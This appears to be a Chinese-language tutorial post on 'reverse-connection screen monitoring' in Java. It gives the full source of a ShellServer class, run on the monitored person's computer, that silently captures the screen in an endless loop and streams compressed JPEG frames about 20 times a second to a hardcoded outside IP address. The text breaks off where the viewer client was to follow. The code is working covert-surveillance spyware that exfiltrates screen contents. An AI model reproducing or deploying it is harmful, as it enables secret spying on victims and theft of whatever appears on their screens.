JAVA用TCP实现反向连接屏幕监视

以下这个为服务器类 被监视的用户

import com.sun.image.codec.jpeg.JPEGCodec; import com.sun.image.codec.jpeg.JPEGImageEncoder; import java.awt.Dimension; import java.awt.Rectangle; import java.awt.Robot; import java.awt.Toolkit; import java.awt.image.BufferedImage; import java.io.FileOutputStream; import java.io.IOException; import java.net.Socket; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; public class ShellServer extends Thread{ private Dimension screenSize; private Rectangle rectangle; private Robot robot; private JPEGImageEncoder encoder; public ShellServer() { screenSize = Toolkit.getDefaultToolkit().getScreenSize(); rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域 try{ robot = new Robot(); }catch(Exception e){ e.printStackTrace(); System.out.println(e); } } public void run(){ ZipOutputStream os = null; Socket socket=null; while (true){ try{ socket = new Socket("220.173.44.158",5000);//连接远程IP BufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域 os = new ZipOutputStream(socket.getOutputStream());//加入压缩流 //os = new ZipOutputStream(new FileOutputStream("C:/1.zip")); os.setLevel(9); os.putNextEntry(new ZipEntry("1.jpg")); JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEG os.close(); Thread.sleep(50);//每秒20帧 }catch(Exception e){ e.printStackTrace(); }finally{ if(os!=null){ try{ os.close(); }catch(Exception ioe){} } if(socket!=null){ try { socket.close(); } catch (IOException e) { } } } } } public static void main(String[] args) { new ShellServer().start(); } }

以下这个为客户端类 监视者
